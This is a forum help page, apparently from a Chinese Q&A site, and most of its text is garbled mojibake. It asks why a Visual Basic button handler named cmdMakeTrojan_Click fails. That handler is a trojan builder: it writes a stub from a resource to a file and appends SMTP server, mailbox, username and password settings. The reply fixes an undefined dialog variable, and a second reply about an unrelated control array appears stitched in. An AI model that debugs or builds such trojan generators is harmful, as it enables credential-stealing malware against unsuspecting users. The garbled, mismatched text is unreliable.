姹傞珮鎵嬬湅鐪嬫垜鐢╒B鍐欑殑绋嬪簭鍝噷閿欎簡 - 宸茶В鍐?- 鎼滄悳闂棶

Private Sub cmdMakeTrojan_Click()
    Dim FilePath As String
    Dim Temp() As Byte
        Cdg.ShowSave
        If Cdg.FileName = "" Then Exit Sub
        FilePath = Cdg.FileName
        Temp = LoadResData(101, "CUSTOM")
        Open FilePath For Binary As #1
            Put #1, , Temp()
        Close #1
        Open FilePath For Binary Access Write As #1 '鎶婅嚜韬拰鎰熸煋鏂囦欢涓庨厤缃俊鎭竴璧峰啓鍒颁竴涓柊鏂囦欢鍘?br>            Put #1, , Temp
            Put #1, , "|*|" & tInbox.Text & "|*|" & tOutBox.Text & "|*|" & tSMTP.Text & "|*|" & tUserName.Text & "|*|" & tPassWord.Text
        Close #1
        Cdg.FileName = ""
        MsgBox "鏈ㄩ┈鐢熸垚鎴愬姛", 64, ""
End Sub

涓€姹囩紪灏辨樉绀?img src="http://pic.wenwen.zzzyk.com/p/20120728/20120728110246-1777826561.jpg">璇村彉閲廋dg鏈畾涔?

答案：...鏄綘鍐欑殑锛熻繖鏍蜂綆绾х殑閿欒浣犱篃浼氱姱銆俢dg搴旇鏄叕鍏卞璇濇锛屽湪宸ュ叿绠变腑鐐瑰彸閿紝鍐嶉€夐儴浠讹紝鐒跺悗鎵惧埌
澶嶉€夋Microsoft Dialog Control 6.0鍕句笂(vb6.0鐨勶級锛岀‘瀹氾紝灏監K浜嗭紝鍐嶆妸瀹冩媺鍒扮獥浣撲笂鏀瑰悕灏辫浜嗐€?br/>

绐椾綋涓婃坊鍔?CommonDialog1鎺т欢鍚庯紝鍐嶆妸CommonDialog1鐨勫悕绉版敼鎴怌dg

1銆佷綘鐨勪唬鐮佸啓寰楁病閿?
     鍦╒B涓紝榛樿灞炴€у悕鏄彲浠ヤ笉鍔犱笂鍘荤殑锛屽LABEL鐨凜APTION锛孴EXTBOX鐨凾EXT鏄彲浠ヤ笉鍔犲氨鐩存帴璧嬪€肩殑锛屽Label1="VB"灏嗘敼鍙樺叾Caption灞炴€?TEXTBOX="鍝堝搱"灏嗘敼鍙樺叾TEXT灞炴€с€?
2銆佸厛纭浣犵殑绐椾綋涓婃槸鍚︽湁TxtWelcome鐨勬帶浠剁粍锛堝叡8涓級锛屽苟涓旂储寮曞€硷紙鍗矷ndex)鏄粠0-7銆?/pre>

上一个：VB如何将数据库里多条数字记录相加
下一个：提问提问，VB中如何生成txt文件

更多图片编程知识: